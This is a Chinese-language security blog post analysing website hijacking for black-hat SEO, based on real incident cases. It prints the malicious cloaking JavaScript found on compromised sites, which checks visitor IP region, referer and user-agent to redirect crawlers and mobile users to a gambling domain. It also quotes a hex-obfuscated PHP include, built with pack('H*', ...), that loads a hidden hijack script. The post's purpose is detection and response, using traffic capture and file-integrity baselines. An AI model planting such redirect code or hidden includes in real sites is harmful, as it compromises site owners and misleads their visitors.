网站劫持案例分析之一被劫持原理

网站劫持案例分析之一被劫持原理
2021年05月17日12:01:25 0 441

1.  概述 

上段时间一直忙于处理大会安全保障与应急,借助公司云悉情报平台,发现并处置几十起网站被劫持的情况。对黑客SEO技术颇有感觉。正好这段时间有时间,把以前遇到比较有趣的案例和大家分享一下。里面很多技术其实早已被玩透,只是网上搜了一下并无太多这方面的介绍。所以在这里共享一下相关的案例,案例主要分享一下思路。

1.1 原理

网站劫持是一个相对古老的技术,主要是黑帽用来做SEO用。实现网站劫持如果以下步骤:

1.   入侵相关网站
2.   然后在网站中插入JS或修改其配置文件,增加相应的劫持代码。另外一般会加入判断条件,判断条件一般会根据user-agent或referer进行判断。大多数判断条件会判断是爬虫还是人工,如果是人工会返回正常的网站;如果是爬虫,会返回相关博彩、娱乐类等黑客设置好的网站
3.   人工访问时,会显示正常网站。但是爬虫去访问时,返回是相关博彩、娱乐类网站,导致收录的却是黑客精心准备好的网站
4.   黑帽SEO基本上都是给爬虫收录的,对于正常的人工访问会返回正常的内容,所以导致这种网站很难发现、并且其存留时间相对较长
1.2 跳转判断

下面通过在实际工作中遇到的JS脚本来阐述JS劫持来实现跳转的方法。该JS脚本综合运用了判断IP归属地、UA、referer来进行跳转判断。

1.2.1 判断IP归属地

判断远程IP的归属地,如果远程IP为安徽省或北京,则会直接跳转到http://www.anhui365.net/404.html这个页面;归属地不为安徽或北京的话则会跳转到博彩站点http://m.an888.top/

var jump_myt = setInterval(function(){
    if(remote_ip_info) {
       clearInterval(jump_myt);
       if(remote_ip_info.province == '安徽' ||remote_ip_info.province == '\u5b89\u5fbd'||remote_ip_info.city =='\u5317\u4eac'||remote_ip_info.city == '北京') {
           window.location.href= 'http://www.anhui365.net/404.html';
       }
       else{
          window.location= 'http://m.an888.top/'; 
       }
    }

1.2.2 判断referer

若referer关键字为:baidu、google、yahoo、bing、soso、360等搜索引擎爬虫,当爬虫去访问时会调用browserRedirect()函数。browserRedirect()函数主要用来实现跳转判断。

function go_bots_url(){
    var init_flag ="93989",
       bct =document.referrer,
       bot =['baidu', 'google', 'yahoo', 'bing', 'soso', 'sogou', '360.cn', 'so.com','youdao', 'anquan', 'sm.cn', 'haosou'];
       for (var iin bot) {
           if(bct.indexOf(bot[i]) != -1) {
              init_flag= "1245";
              browserRedirect();
           }
       }
       if(init_flag== "93989"){
           call_init_error();
       }

1.2.3 判断user-agent

如果相应的user-agent匹配关键字ipad、iphone os、midp、ucweb、android等移动端设备时则会跳转到http://m.an888.top/这个博彩站点

function browserRedirect() { 
    var sUserAgent=navigator.userAgent.toLowerCase(); 
    var bIsIpad=sUserAgent.match(/ipad/i) == "ipad"; 
    varbIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; 
    var bIsMidp=sUserAgent.match(/midp/i) == "midp"; 
    var bIsUc7=sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; 
    var bIsUc=sUserAgent.match(/ucweb/i) == "ucweb"; 
    var bIsAndroid=sUserAgent.match(/android/i) == "android"; 
    var bIsCE=sUserAgent.match(/windows ce/i) == "windows ce"; 
    var bIsWM=sUserAgent.match(/windows mobile/i) == "windows mobile"; 
    
    if (bIsIpad ||bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { 
       window.location.href='http://m.an888.top/'; 
    } else { 
       window.location='http://m.an888.top/'; 
    } 
}

    这是一个比较经典的JS判断条件,综合判断IP地址、user-agent、referer。黑客入侵相应的网站后只需要把在网站中加入引用的JS相关网站即可,一般都是直接在相关调用页面,如index.php这种页面中直接插入下面的代码

1.3 表现

当网站被黑客入侵并作为SEO使用时,一般的表现是通过人工访问并无法直接打开,需要通过改变浏览器的user-agent及referer时才可以重现相应的劫持页面。页面被劫持一般表现是下面这样子的:

劫持案例-1(植入寄生虫程序)

劫持案例-2(插入推广内容)劫持案例-3(打开页面跳转到博彩网站)

2.  前端劫持案例

2.1 原理

前端劫持一般都是在网站的相应页面中插入JS脚本,通过JS来进行跳转劫持。

2.2 表现与检测

前端劫持的话浏览器会执行相应的JS脚本,因此我们可以通过抓包来进行检测相应的JS脚本。可以使用burpsuite、fiddler、wireshark等工具来抓包进行分析与检测。另外也可以打开相应的页面分析其源码来进行判断,通过源码找出所有加载的JS脚本,然后再对JS脚本进行分析。

2.3 案例

一网站发现其打开时会跳转到博彩网站,对其源码进行分析,发现其页面被插入一段JS代码,导致其打开时会跳转到博彩站点。

3. 服务器端劫持案例

3.1 原理

服务器端劫持也称为后端劫持,其是通过修改网站动态语言文件,如global.asax、global.asa、conn.asp、conn.php这种文件。这些文件是动态脚本每次加载时都会加载的配置文件,如访问x.php时会加载conn.php。这样的话,只需要修改这些全局的动态脚本文件(如global.asax),访问所有的aspx文件时都会加载这个global.asax文件,可以达到全局劫持的效果。

3.2 表现与检测

因为这种文件是在服务器上执行的,因此不像前端劫持那样可以分析加载的恶意JS脚本。其需要在服务器上进行分析。一般检测都是要检测全局脚本文件,分析其是否被恶意修改。这种文件一般情况下不会经常修改,因此可以使用文件完整性进行检测。初次配置好了以后生成其MD5或HASH值,并且周期性对比其MD5值是否变化。若变化则进行变化内容的分析与检测。

3.3 案例

发现一政府网站上存在较多博彩类链接。但是对其源码与抓包分析,都没发现可疑JS脚本。这样的话肯定是在服务器端做劫持的。


于是远程连接其服务器,其网站使用aspx开发,找到其aspx全局加载的文件global.asax。分析其源码,发现存在被修改,增加了爬虫判断条件,若为爬虫访问,则直接跳转到相应的博彩网站。

针对服务器端的劫持,找到相应的插入的代码。直接将其删除,或者使用备份的文件进行覆盖。但是这样并不能真正解决问题,一般情况下global.asax这种文件被修改,基本上说明黑客已经入侵到相应服务器。因此需要做全面的应急响应,分析日志、查杀webshll、系统层、应用层全面的安全检查。找到黑客是如何入侵进来的并且修复相应的漏洞这样才能真正解决此类问题。

4. 比较奇葩的服务器劫持案例

一般情况下,如果是服务器端的劫持通过上面的方法基本上可以找到黑客插入或修改的源码部分。但是昨天遇到一起比较奇葩的服务器劫持案例。通过源码与抓包分析判断黑客是在服务器端做的劫持,但是相应的分析全局文件找了很长时间就是没有找到黑客在什么地方插入劫持代码的。


一政府站使用爬虫UA打开就是相应的寄生虫模板,直接分析其index.php文件,发现其只是调用了另外一个文件。文件的路径为:/phpcms/base.php


找到base.php,由于其源码比较多。分析其源码找了好久就是没有找到劫持所用的代码,后来经同事协助,花了好长时间才找到黑客进行劫持所有的代码。base.php其中直接加载了公用的函数库,其加载了如下函数:

@include(PACK(‘H*’,’443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31′));


Php的pack函数功能如下:


@include(PACK(‘H*’,’443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31′));其中:

H代表16进制

443A5C7765625C6C79715C75706C6F616466696C655C323031375C303232315C31表示相应的参数,需要将其进行转换。


转换后,其内容为\web\lyq\uploadfile\2017\0221\1,也就是说base.php使用include的Pack函数调用了\web\lyq\uploadfile\2017\0221\1这个文件。找到这个文件,分析其源码,果然找到了黑客用户进行劫持所调用的文件。

这个案例还是比较奇葩的,其实实现方法也是在服务器端进行劫持的,只是其使用函数来加载相应的劫持脚本。并且这个劫持的脚本放在一个上传的目录上,所以导致分析起来中间有些麻烦。针对这种劫持的情况个人感觉相对较好的处置方法就是对关键性的文件,如index.php、global.asax、conn.php等生成基线MD5及HASH值,然后周期性的对比这些文件完整性,如发现文件完整性发生变化,将其与基线文件进行比较。分析是否为正常变化。

目前黑帽做SEO除了上面的外,还有植入JS来挖矿的。不过挖矿在实际工作中只在服务器上遇到被植入挖矿程序,自己并没有遇到过在网站中植入JS来挖矿。网上看到有遇到过植入JS来进行挖矿的,所以网站页面代码中的JS也是网站安全分析的重点。后期云悉情报平台会加入恶意JS的识别与分析,遇到相关案例时再和大家分享。

余额充值 点赞(0)
weinxin
账号+金额发此微信
充值后请把会员账号/用户名+充值金额发送到此微信:tourism52
历史上的今天
07月
31
昆明考证培训,昆明无人机考证培训成行业“香饽饽” 网络维护

昆明无人机考证培训成行业“香饽饽”

昆明无人机培训考证成行业香饽饽 无人机的设计概念最早应用于军工领域,但随着世界范围内军民融合战略的实施和推进,近几年无人机技术在民用领域的应用获得长足发展。根据无人机应用领域,可分...
昆明网络维护,昆明一般网络维护故障排除步骤 网络维护

昆明一般网络维护故障排除步骤

昆明一般网络维护故障排除步骤 第一步,当分析网络故障时,首先要清楚故障现象。应该详细说明故障的症侯和潜在的原因。为此,要确定故障的具体现象,然后确定造成这种故障现象的原因的类型。例...
昆明网络维护,昆明网络维护软件:超级网管大师​ 网络维护

昆明网络维护软件:超级网管大师​

昆明网络维护 软件:超级网管大师 超级网管大师是一款专业的网络管理、网络监控软件,只需在局域网内的一台普通计算机上运行,并且不需要安装客户端。该软件采用多线程设计,扫描速度快、操作...
昆明网络维护,昆明数据中心网络维护三把斧 网络维护

昆明数据中心网络维护三把斧

昆明数据中心网络维护三把斧 网络是数据中心里是最为重要的组成部分,也是技术最为复杂的部分,要对网络运行进行日常维护,故障处理需要掌握不少本领才行。数据中心网络分为存储网和数据网,存...
企业建设网站,网站日常维护,企业建设网站并不难,日常维护是重点 网络维护

企业建设网站并不难,日常维护是重点

企业建设网站并不难,日常维护是重点 企业对待网站通常会只注重网站建设阶段,只考虑前期工作如何的精密布局,而忽略了后期日常维护工作,建设完成后就觉得大功告成可以高枕无忧的带来效益了,...
昆明网络维护,昆明网络维护需要什么基本知识?​ 网络维护

昆明网络维护需要什么基本知识?​

昆明网络维护 需要什么基本知识? 对于网络的常见故障,例如,机器的死机和重新启动,无非是CPU温度过高;机器有病毒;操作系统有问题或是电源的问题。这些故障都是比较明显,并且好判断好...
昆明网络维护,昆明网络维护:IP链路测试 网络维护

昆明网络维护:IP链路测试

昆明网络维护 :IP链路测试 IP链路的连接畅通是计算机正常接入网络的基础。例如,交换机、路由器等网络设备的连接与配置不正确,网卡和网络协议配置错误,计算机的IP地址信息设置不正确...
公司网站内容更新,公司网站内容维护,公司网站内容更新维护如何做? 网络维护

公司网站内容更新维护如何做?

公司网站内容更新维护如何做? 网站内容更新是网站运营环节一部分,百度会把内容较好的网站显示在搜索引擎对应关键词的前列,甚至首页第一位,那么公司网站内容更新维护如何做? 网站安全方面...

Comment list 共有 0 条评论

暂无评论